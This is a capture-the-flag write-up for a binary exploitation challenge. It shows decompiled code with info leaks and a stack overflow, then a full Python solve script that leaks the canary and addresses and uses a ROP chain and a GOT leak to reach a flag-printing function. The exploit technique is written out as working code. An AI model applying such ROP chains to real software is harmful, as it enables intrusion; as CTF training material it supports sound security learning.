challenge
libcoreio.so
solve.py
The main call three functions,
The first one which leads to a libc leak, a canary leak and a stack leak
void submit_note(void)
{
long in_FS_OFFSET;
undefined1 local_58 [72];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
write(1,"Input log entry: ",0x11);
read(0,local_58,0x40);
write(1,"[LOG] Entry received: ",0x16);
write(1,local_58,0x58);
write(1,&DAT_00100ced,1);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
The second one which leads to a code leak
void review_note(void)
{
long in_FS_OFFSET;
undefined1 local_38 [32];
code *local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_18 = finalize_note;
write(1,"Input processing note: ",0x17);
read(0,local_38,0x20);
write(1,"[PROC] Processing: ",0x13);
write(1,local_38,0x30);
write(1,&DAT_00100ced,1);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
And the third one which is a huge stack overflow
void finalize_entry(void)
{
long in_FS_OFFSET;
undefined1 auStack_50 [64];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
write(1,"Send final payload: ",0x14);
read(0,auStack_50,400);
write(1,"[VULN] Done.\n",0xd);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
We can’t do ret2libc even if we have a libc leak because they don’t provide us the libc.
Hint : we can find libc by leaking addresse and search at libc.rip. But as they provide another library, it doesn’t seems to be the intended way here.
Let’s inspect the provided library
void emit_report(long param_1,long param_2,long param_3)
{
int __fd;
size_t __n;
long in_FS_OFFSET;
undefined8 local_118;
undefined8 local_110;
undefined2 local_108;
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
if (((param_1 == -0x2152411021524111) && (param_2 == -0x3501454135014542)) &&
(param_3 == -0x2ff20ff22ff20ff3)) {
__fd = open("flag.txt",0);
if (__fd < 0) {
local_118 = 0x7478742e67616c66;
local_110 = 0x676e697373696d20;
local_108 = 10;
write(1,&local_118,0x11);
/* WARNING: Subroutine does not return */
_exit(1);
}
__n = read(__fd,&local_118,0x100);
if (0 < (long)__n) {
write(1,&local_118,__n);
}
close(__fd);
/* WARNING: Subroutine does not return */
_exit(0);
}
local_118 = 0x2064696c61766e49;
local_110 = 0x2e74736575716572;
local_108 = 10;
write(1,&local_118,0x11);
/* WARNING: Subroutine does not return */
_exit(1);
}
if we can provide the good parameters to emit report, that juste leak the flag and this function is called in
bootstrap_state
00100987 55 PUSH RBP
00100988 48 89 e5 MOV RBP,RSP
0010098b 48 83 ec 10 SUB RSP,0x10
0010098f 48 c7 45 MOV qword ptr [RBP + local_10],0x1
f8 01 00
00 00
00100997 48 8b 45 f8 MOV RAX,qword ptr [RBP + local_10]
0010099b 48 85 c0 TEST RAX,RAX
0010099e 75 14 JNZ LAB_001009b4
001009a0 ba 00 00 MOV EDX,0x0
00 00
001009a5 be 00 00 MOV ESI,0x0
00 00
001009aa bf 00 00 MOV EDI,0x0
00 00
001009af e8 84 fe CALL <EXTERNAL>::emit_report
ff ff
LAB_001009b4
001009b4 90 NOP
001009b5 c9 LEAVE
001009b6 c3 RET
we can do a ROPchain which call this function and set rdi and rsi but there is no gadget to set rdx… As said, we can set rdi and rsi, and ‘write’ and ’emit_report’ functions are in the plt so we can leak the libcoreio.so address, and finally call the ’emit_report’ function juste after the check.
# canary and stack leak
sla(b"log entry", b"a")
rcu(b'received: ')
rcv(8)
leak_libc = l64(rcv(8))
libc_base = leak_libc - (0x00007ffff7a94659 - 0x00007ffff7a0a000)
leak_stack = l64(rcv(8))
base_frame_rip_submit = leak_stack - (0x00007fffffffdb48 - 0x7fffffffda28)
base_frame_rip_main = leak_stack - (0x00007fffffffdb48 - 0x7fffffffda38)
l1 = rcv(6*8)
canary = l64(rcv(8))
# code leak
sla(b"processing", b"a")
rcu(b"Processing: ")
l2 = rcv(4*8)
leak_code = l64(rcv(8))
code_base = leak_code - (0x0000555555400980 - 0x0000555555400000)
pop_rdi = code_base + 0xca3
ret = code_base + 0xca4
write_plt = code_base + 0x810
pop_rsi_r15 = code_base + 0xca1
write_got = code_base + 0x201fb0
read_got = code_base + 0x201fc0
emit_report_got = code_base + 0x201fd8
finalize_entry = code_base + 0xafa
# leak of emit adress via ret2plt with write
# because rdx is not manageable
# and go back to the overflowable function
final_pl = b"a"*64
final_pl += p64(canary)
final_pl += p64(ret)
final_pl += p64(pop_rdi)
final_pl += p64(1)
final_pl += p64(pop_rsi_r15)
final_pl += p64(emit_report_got)
final_pl += p64(0)
final_pl += p64(write_plt)
final_pl += p64(finalize_entry)
sla(b"final payload", final_pl)
rcu(b"[VULN] Done.\n")
leak_emit = l64(rcv(8))
# finally go under the check in the fonction,
# a valid stack rbp is necessary to open and read the flag
pass_emit_check = leak_emit + 182
final_final_pl = b"a"*64
final_final_pl += p64(canary)
final_final_pl += p64(leak_stack-0x200)
final_final_pl += p64(pass_emit_check)
sla(b"final payload", final_final_pl)
└─$ /bin/python /home/sk4r/.../pwn_womp_womp/solve.py
[*] '/home/sk4r/.../pwn_womp_womp/challenge_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RPATH: b'.'
Stripped: No
[VULN] Done.
FLAG{REDACTED}
Thx.
Sk4r.